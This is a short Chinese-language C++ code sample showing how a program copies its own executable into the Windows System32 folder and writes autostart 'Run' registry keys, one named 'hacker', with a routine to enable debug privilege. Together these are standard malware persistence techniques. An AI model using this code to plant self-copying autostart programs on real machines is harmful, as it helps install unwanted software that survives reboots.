| 标题 | C++实现复制文件并操作注册表 |
| 范文 | C++实现复制文件并操作注册表，具体代码如下： #include <stdio.h> #include <windows.h> void AutoStartRegs(char *nfilename, char *keyname); int EnableDebugPriv(const char* name) { HANDLE hToken; if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, &hToken)) { printf("打开指定令牌环失败!\n"); return -1; } LUID luid; if( !LookupPrivilegeValue(NULL, name, &luid) ) { printf("查询LUID失败!\n"); return -1; } TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if( !AdjustTokenPrivileges(hToken, FALSE, &tp, NULL, NULL, NULL) ) { printf("提升进程权限失败!\n"); return -1; } printf("提升权限成功!\n"); return 0; } int main(void) { //EnableDebugPriv(SE_DEBUG_NAME); char regname[]="Software//Microsoft//Windows//CurrentVersion//Run"; /*HKEY hkResult; int ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult); ret=RegSetValueEx(hkResult,"hacker"/* 注册表键名,0,REG_EXPAND_SZ,(unsigned char *)"%systemroot%//hacker.exe",25); if(ret==0){ printf("success to write run key\nn"); RegCloseKey(hkResult); } else { printf("failed to open regedit.%d\nn",ret); return 0; }*/ int ret; //AutoStartRegs("c:\\windows\\system32\\zhucebiao.exe","xx"); char modlepath[256]; char syspath[256]; GetModuleFileName(0,modlepath,256);//取得程序名字 GetSystemDirectory(syspath,256); //printf("modlepath=%s\n,strcat(syspath)=%s\n",modlepath,strcat(syspath,"")); ret=CopyFile(modlepath,"c:\\windows\\system32\\zhucebiao.exe",0);//覆盖原文件 if(ret) { printf("%s has been copyed to sys dir %s/n",modlepath,syspath); } else { //printf("%d \n",ret); ::printf("%d\n",GetLastError()); } system("pause"); return 0; } void AutoStartRegs(char *nfilename, char *keyname) { int ret; HKEY key; ret=RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, NULL); if(ret!=ERROR_SUCCESS) { printf("\nret=%d\n",ret); } else { printf("创建键值成功\n"); } RegSetValueEx(key, keyname, 0, REG_SZ, (const unsigned char *)nfilename, strlen(nfilename)); RegCloseKey(key); return; } |
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